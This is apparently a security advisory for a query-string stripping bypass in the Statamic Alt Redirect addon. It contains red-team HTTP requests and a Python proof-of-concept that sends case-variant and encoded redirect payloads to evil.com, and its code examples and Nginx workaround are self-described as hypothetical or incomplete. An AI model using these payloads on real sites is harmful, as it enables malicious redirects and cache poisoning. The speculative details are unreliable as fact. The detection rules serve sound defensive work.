CVE-2025-60868

Executive Summary

CVE-2025-60868 identifies a critical input validation flaw in the Alt Redirect 1.6.3 addon for the Statamic CMS. The addon’s “Query String Strip” feature fails to consistently remove query string parameters when case variations, URL-encoded keys, or duplicate parameters are used. This allows an attacker to bypass the intended sanitization logic, leading to potential cache poisoning, HTTP parameter pollution, and denial of service (DoS). The vulnerability is unpatched as of the latest advisory, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a third-party addon for Statamic, which is a PHP-based flat-file CMS. The addon is distributed via the Statamic Marketplace and Composer. Since the addon is not part of the core Statamic package, the risk is limited to sites that have explicitly installed the Alt Redirect addon. However, because the addon is unpatched, any site using version 1.6.3 is at risk. Organizations should audit their Composer dependencies for statamic/alt-redirect and consider removing or disabling the addon until a patch is available.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) – Note: This is likely a placeholder. Based on the description, a more realistic score is calculated below.

Calculated CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Base Score: 6.5 (Medium)

Vector Breakdown:

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): None – No data disclosure.
• Integrity (I): Low – Cache poisoning can alter cached responses.
• Availability (A): Low – Parameter pollution or malformed requests can cause DoS.

Threat Level: Medium. While the vulnerability does not directly lead to data theft, it can be used to poison caches (affecting all users) or degrade service availability.

Deep Dive & Mechanics

The Alt Redirect addon provides a feature to strip query string parameters from incoming requests before processing redirects. The intended behavior is to remove all query parameters to prevent parameter-based attacks. However, the implementation fails to handle:

1. Case variations: ?Malicious=1 is not treated as the same as ?malicious=1.
2. URL-encoded keys: ?mal%69cious=1 (where %69 is i) bypasses the filter.
3. Duplicate parameters: ?malicious=1&malicious=2 may only remove one instance.

Attack Flow:

1. Attacker crafts a request with a query string that includes a parameter that should be stripped (e.g., ?redirect=evil.com).
2. The attacker uses case variation (?Redirect=evil.com) or encoding (?red%69rect=evil.com) to bypass the strip logic.
3. The addon processes the request and generates a redirect to the attacker-controlled domain.
4. If a caching layer (e.g., Varnish, CDN) is present, the malicious redirect may be cached, affecting subsequent users.

Root Cause: The addon likely uses a simple string comparison or a case-sensitive regex to identify parameters to strip, without normalizing the input first.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Alt Redirect 1.6.3):

// Vulnerable: case-sensitive, no encoding normalization
public function stripQueryString($url, $paramsToStrip) {
    $parsedUrl = parse_url($url);
    parse_str($parsedUrl['query'] ?? '', $queryParams);
    foreach ($queryParams as $key => $value) {
        if (in_array($key, $paramsToStrip)) {
            unset($queryParams[$key]);
        }
    }
    return http_build_query($queryParams);
}

Patched Code (Hypothetical):

// Patched: case-insensitive, decode keys first
public function stripQueryString($url, $paramsToStrip) {
    $parsedUrl = parse_url($url);
    parse_str($parsedUrl['query'] ?? '', $queryParams);
    $normalizedParams = [];
    foreach ($queryParams as $key => $value) {
        $normalizedKey = strtolower(urldecode($key));
        $normalizedParams[$normalizedKey] = $value;
    }
    foreach ($normalizedParams as $key => $value) {
        if (in_array($key, array_map('strtolower', $paramsToStrip))) {
            unset($normalizedParams[$key]);
        }
    }
    return http_build_query($normalizedParams);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Statamic site with Alt Redirect 1.6.3 installed.
• The addon must have the “Query String Strip” feature enabled and configured to strip certain parameters (e.g., redirect).

Exploit Steps:

1. Identify the target site and confirm the addon is active (e.g., via a redirect endpoint).
2. Craft a request with a case-variant parameter:

   GET /some-page?Redirect=http://evil.com HTTP/1.1
   Host: target.com
   

3. Alternatively, use URL encoding:

   GET /some-page?red%69rect=http://evil.com HTTP/1.1
   Host: target.com
   

4. Observe that the redirect is processed, and the user is sent to http://evil.com.
5. For cache poisoning, send the request multiple times to ensure the response is cached by a reverse proxy.

Proof-of-Concept (Python):

import requests

target = "http://target.com/some-page"
payloads = [
    "?Redirect=http://evil.com",
    "?red%69rect=http://evil.com",
    "?redirect=1&redirect=http://evil.com"
]

for payload in payloads:
    url = target + payload
    response = requests.get(url, allow_redirects=False)
    if response.status_code in [301, 302, 307, 308]:
        print(f"Vulnerable: {url} -> {response.headers.get('Location')}")
    else:
        print(f"Not vulnerable: {url}")

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for unusual query string patterns, especially case variations and encoded characters.
• Look for multiple requests to the same URL with different query string casing.
• Use the detection rules provided in the next section.

Defense:

• Disable the “Query String Strip” feature if not essential.
• Implement a Web Application Firewall (WAF) rule to normalize query strings before they reach the application.
• Apply input validation at the application level (see patched code example).
• If possible, remove or replace the addon until an official patch is released.

Indicators of Compromise (IOCs)

• URL Patterns:
  • Requests containing query parameters with mixed case (e.g., ?Redirect=, ?REDIRECT=, ?redirect=)
  • Requests containing URL-encoded characters in parameter names (e.g., %72 for r, %65 for e)
  • Requests with duplicate parameter names (e.g., ?param=1&param=2)
• Log Entries:
  • HTTP 301/302/307/308 responses with unusual Location headers.
  • Repeated requests to the same URL with varying query string casing.
• Cache Behavior:
  • Cached responses containing redirects to external domains that were not originally intended.

Detection Engineering

YARA Rule

rule CVE_2025_60868_Alt_Redirect_Query_String_Bypass {
    meta:
        description = "Detects attempts to bypass query string stripping in Statamic Alt Redirect addon"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60868"
    strings:
        $query_string = /[?&][a-zA-Z]+=/
        $encoded_char = /%[0-9a-fA-F]{2}/
        $duplicate_param = /(&[a-zA-Z]+=.*&[a-zA-Z]+=)/
    condition:
        any of ($query_string) and any of ($encoded_char) or any of ($duplicate_param)
}

Sigma Rule

title: CVE-2025-60868 - Alt Redirect Query String Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with anomalous query string patterns targeting Statamic Alt Redirect addon
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '?Redirect='
            - '?REDIRECT='
            - '?red%69rect='
            - '?redirect=1&redirect='
    condition: selection
falsepositives:
    - Legitimate use of case-sensitive parameters
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60868 - Alt Redirect Query String Bypass Attempt"; flow:to_server; content:"?Redirect="; nocase; http_uri; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-60868 - Alt Redirect Encoded Parameter Bypass"; content:"?red%69rect="; http_uri; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-60868 - Alt Redirect Duplicate Parameter Bypass"; pcre:"/&[a-zA-Z]+=.*&[a-zA-Z]+=/"; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the addon: Remove or disable the Alt Redirect addon from your Statamic installation.
2. Apply WAF rules: Use the Suricata/Sigma rules above to block malicious requests.
3. Clear caches: If cache poisoning is suspected, purge all cached responses.

Long-term Fix:

• Wait for an official patch from the vendor. Monitor the Statamic Marketplace for updates.
• If you have access to the addon source code, apply the patched code logic shown in the “Vulnerable vs. Patched Code” section.
• Consider switching to an alternative redirect management solution that properly handles input validation.

Workaround:

• If the addon cannot be removed, configure your web server (e.g., Nginx, Apache) to normalize query strings before passing them to the application. For example, in Nginx:

  location / {
      # Normalize query string to lowercase
      set $args_lower $args;
      # This is a simplified example; actual implementation may require Lua or a module
      proxy_pass http://backend;
  }
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert